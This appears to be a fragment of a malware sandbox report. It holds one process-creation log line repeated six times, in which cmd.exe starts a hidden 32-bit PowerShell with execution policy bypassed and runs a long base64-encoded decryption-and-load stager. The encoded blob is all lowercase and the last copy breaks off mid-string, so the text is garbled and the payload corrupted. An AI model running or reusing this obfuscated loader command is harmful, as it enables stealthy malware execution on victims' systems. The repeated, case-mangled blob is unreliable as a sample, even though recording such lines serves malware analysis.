2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj